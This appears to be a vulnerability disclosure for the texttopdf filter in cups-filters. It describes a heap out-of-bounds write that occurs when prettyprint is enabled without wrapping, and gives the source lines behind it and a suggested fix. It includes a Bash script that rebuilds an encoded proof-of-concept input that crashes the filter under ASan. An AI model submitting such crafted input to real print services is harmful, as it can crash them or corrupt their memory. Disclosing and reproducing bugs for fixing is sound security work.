texttopdf: prettyprint without wrapping corrupts the page heap

[kimaiden1984-boop]

Summary

With prettyprint=true wrap=false, a source line can advance beyond the
allocated page width. If text beyond that boundary is recognized as a
keyword, cfFilterTextToPDF() writes ATTR_BOLD to lchar_t cells after the
page allocation.

The document and normal filter options reach the standalone texttopdf
pipeline. The demonstrated write sets a fixed attribute bit at four-byte
intervals; it is reliable heap corruption, but not an arbitrary write.

Reproduction

Final upstream recheck on 2026-08-02: OpenPrinting/cups-filters 11d1a190530f85a361a1b3835f57d635256dff1a, libcupsfilters 905fd94fb22a9298bc8e2c845eb7e04f7055b686, and libppd fc41539f761286396a7df8aeeda762070192e37e.

Validated revisions:

• cups-filters: 11d1a190530f85a361a1b3835f57d635256dff1a
• libcupsfilters: 905fd94fb22a9298bc8e2c845eb7e04f7055b686
• libppd: 522af8dd135f4dde66b1aac8b9d067808bbe122d

poc/document.txt contains 6,468 spaces followed by while . Its SHA-256 is
9fbe67a38cc10f92818dd642435843ca7ca7fcebff33b7cc3cd078d02d9446a2.

Run:

./reproduce.sh

The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.

#!/usr/bin/env bash
set -euo pipefail

# PoC: texttopdf: prettyprint without wrapping corrupts the page heap
# Finding ID: texttopdf-prettyprint-nowrap-heap-oob
# Trigger: With prettyprint=true wrap=false, a source line can advance beyond
# the allocated page width. If text beyond that boundary is recognized as a
# keyword, cfFilterTextToPDF() writes ATTR_BOLD to lchar_t cells after the
# page allocation.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.

OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"

for tool in base64 gzip sha256sum; do
  command -v "$tool" >/dev/null || {
    printf 'missing required tool: %s\n' "$tool" >&2
    exit 1
  }
done

write_file() {
  local name="$1"
  local expected_sha256="$2"
  local path="$OUTPUT_DIR/$name"
  local actual_sha256

  mkdir -p "$(dirname "$path")"
  base64 --decode | gzip --decompress > "$path"
  actual_sha256="$(sha256sum "$path")"
  actual_sha256="${actual_sha256%% *}"
  if [[ "$actual_sha256" != "$expected_sha256" ]]; then
    printf 'SHA-256 mismatch for %s\n' "$path" >&2
    return 1
  fi
  printf '%s  %s bytes  sha256=%s\n' \
    "$path" "$(wc -c < "$path")" "$actual_sha256"
}

# Malformed or boundary document consumed by the real filter/API.
# Output: document.txt (6474 bytes)
write_file document.txt 9fbe67a38cc10f92818dd642435843ca7ca7fcebff33b7cc3cd078d02d9446a2 <<'POC_PAYLOAD_0'
H4sIAAAAAAACA+3BwQkAMAgEsFVuOaGCf9fv3xmSJAAAAAAAAFz7eiofJraT60oZAAA=
POC_PAYLOAD_0

Result

ASan reports a heap-buffer-overflow at texttopdf.c:1292. The plain build
reaches glibc heap consistency checks and aborts with
double free or corruption (out), status 134. Changing the option to
wrap=true completes normally.

Cause and expected behavior

When wrapping is disabled, the input loop at texttopdf.c:883 allows
column to grow beyond the physical page width. The syntax highlighter saves
that position as keycol at line 1304 and, after recognizing a keyword,
iterates from keycol to column at lines 1290-1293. It does not verify that
keycol + page-column offset is inside the contiguous page allocation made
at line 964.

The filter should clip syntax attributes to the allocated row width, or stop
recording/highlighting columns once no-wrap text leaves the page.